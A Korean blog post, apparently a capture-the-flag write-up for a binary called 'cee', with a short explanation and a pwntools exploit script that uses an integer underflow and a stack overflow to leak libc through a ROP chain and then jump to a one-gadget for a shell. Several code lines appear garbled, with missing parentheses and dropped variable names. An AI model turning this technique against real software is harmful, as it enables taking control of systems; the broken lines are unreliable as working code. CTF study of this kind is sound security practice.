티스토리 뷰

cee

underflow 내고, write 함수를 사용한 다음에는 첫번째, 세번째 인자가 세팅되어있으므로

pop rsi r15 가젯으로 rsi만 컨트롤 하여 릭 하고, main으로 돌리고 oneshot으로 뛰어서

익스 했다

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *
 
= process('./cee')
= ELF('./cee')
context(arch='amd64',os='linux',endian='little',log_level='debug')
POP_RSI_R15_RET = 0x00400a51
main = 0x400716
 
def check():
  #p.sendlineafter('exam?\n',"2018-11-15")
  p.sendline("2018-11-15"
  p.sendline('-1')
  p.sendline('-1')
  p.sendline('-1')
 
check()
print p.recv()
payload="A"*56
payload+=p64(POP_RSI_R15_RET)
payload+=p64(e.got['read'])
payload += p64(0
payload+=p64(e.plt['write'])
payload+=p64(main)
 
p.send(payload)
 
p.recvuntil("Thank You!!"
 
read = u64(p.recv(6)+"\x00"*2)
 
log.info("read leak :"+hex(read))
 
libc_base = read - 0xf7250
 
oneshot = libc_base + 0x45216
 
p.recvuntil("exam?\n")
#p.sendline("2018-11-15")
check()
print p.recv()
payload1="A"*56
payload1+=p64(oneshot)
 
p.sendline(payload1)
 
p.interactive()
 
cs


'Pwnable > write up' 카테고리의 다른 글

[PlaidCTF 2014] kappa  (0) 2018.09.26
[DEFCON 2015] r0pbaby  (0) 2018.09.16
[PlaidCTF 2013] ropasaurusrex  (0) 2018.09.16
[Codegate2018_quals] BaskinRobins31  (0) 2018.09.16
[HITCON 2017] start  (0) 2018.09.14
댓글
공지사항
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday
TAG
more
«   2024/05   »
1 2 3 4
5 6 7 8 9 10 11
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29 30 31
글 보관함